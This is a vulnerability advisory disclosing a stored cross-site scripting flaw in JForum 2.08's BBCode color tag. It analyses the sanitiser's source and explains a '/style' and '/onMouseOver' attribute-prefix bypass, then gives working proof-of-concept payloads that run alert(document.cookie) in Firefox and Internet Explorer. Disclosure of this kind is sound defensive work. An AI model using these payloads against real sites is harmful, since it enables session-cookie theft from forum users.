Minded Security Labs: Advisory #MSA130510
JForum <= 2.08 is vulnerable to Stored Cross Site Scripting in BBCode.

Tested Versions: 
  JForum v. 2.08

    
Minded Security ReferenceID:
  MSA130510
   

Credits:
        Discovery by 
        Giorgio Fedon of Minded Security
  giorgio.fedon [_at_] mindedsecurity.com


Severity: 
        Medium


Solution:  
        Disable color bbtag


Summary

Minded Security Consultants discovered during a penetration testing activity that 
JForum <= 2.08 is vulnerable to Stored Cross Site Scripting.


Analysis


BBcode configurations are loaded from "bb_config.xml" that contains
configurations for bbcode to HTML conversion.

JForum/src/net/jforum/util/bbcode/BBCodeHandler.java (lines 76 to 87)

    public BBCodeHandler() { } public BBCodeHandler parse() { try { SAXParser parser = SAXParserFactory.newInstance().newSAXParser(); BBCodeHandler bbParser = new BBCodeHandler(); String path = SystemGlobals.getValue(ConfigKeys.CONFIG_DIR) + "/bb_config.xml"; ... 


Tag "[color=red]Text[/color]" is handled by the following lines of code:

    <!-- COLOR --> <match name="color" removeQuotes="true"> <regex>(?s)(?i)\[color=['"]?(.*?[^'"])['"]?\](.*?)\[/color\]</regex> <replace> <![CDATA[ <font color='$1'>$2</font> ]]> </replace> </match> 



As it's possible to see from the previous code, "color" attribute
expects a parameter between single quotes. Jforum does not encode single
quotes, so it's possible to add arbitrary attributes.

Before launching the attacks it's important to investigate other defense
in depth measures inside Jforum. These controls are handled by:
"JForum/src/net/jforum/util/SafeHtml.java"

By analizing this class it's possible to see that characters "<", ">"
and " \" " are converted into HTML entities:


    if (text.indexOf('>') > -1 || text.indexOf('<') > -1) { StringBuffer tmp = new StringBuffer(text); ViewCommon.replaceAll(tmp, "<", "<"); ViewCommon.replaceAll(tmp, ">", ">"); ViewCommon.replaceAll(tmp, "\"", """); node.setText(tmp.toString()); } } 



If Decimal or Hex Entities are used, these will be modified to not allow
auto decoding and javascript execution:

    if (a.getValue().indexOf("&#") > -1) { a.setValue(a.getValue().replaceAll("&#", "&#")); 



If "Style" attribute contains a parenthesis this will lead to clearing
the attribute content:

    else if ("STYLE".equals(name)) { // It is much more a try to not allow constructions // like style="background-color: url(javascript:xxxx)" than anything else if (value.indexOf('(') > -1) { return false; } } 



From the code above an exact match against the attribute vector is
performed. If the attribute equals to "style" the sanitization step
takes place; unfortunately "/style" is still a valid attribute and
allows to bypass the exact match.

The same technique can be used to evade Jforum blacklist restrictions
for event handlers (es. onMouseOver, onMouseOut, etc.).


---- Proof Of Concept

Stored XSS - proof of concept for Firefox ("onMouseOver" is blacklisted):

    [color=red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)']XSS4FF[/color] 



Renders into the following HTML code:

    <font color='red' style='top:0px;left:0px;position:absolute;font-size:500;opacity:0' /onMouseOver='alert(document.cookie)'>XSS4FF</font> 



Stored XSS - proof of concept for Internet Explorer ("style" cannot contain
parenthesis "(" ):

    [color=red' /style='color:expression(alert(document.cookie))']XSS4IE[/color] 



Renders into the following HTML code:

    <font color='red' /style='color:expression(alert(document.cookie))'>XSS4IE</font> 



Disclosure Timeline

14-02-2010 Issue Discovered
25-02-2010 Reported to Vendor
13-05-2010 Public Disclosure


Disclaimer


The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.

In no event shall the author be liable for any damages whatsoever 
arising out of or in connection with the use or spread of this 
information.

Any use of this information is at the user's own risk.
Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com 
for permission.



        Copyright (c) 2010 Minded Security, S.r.l..

              All rights reserved worldwide.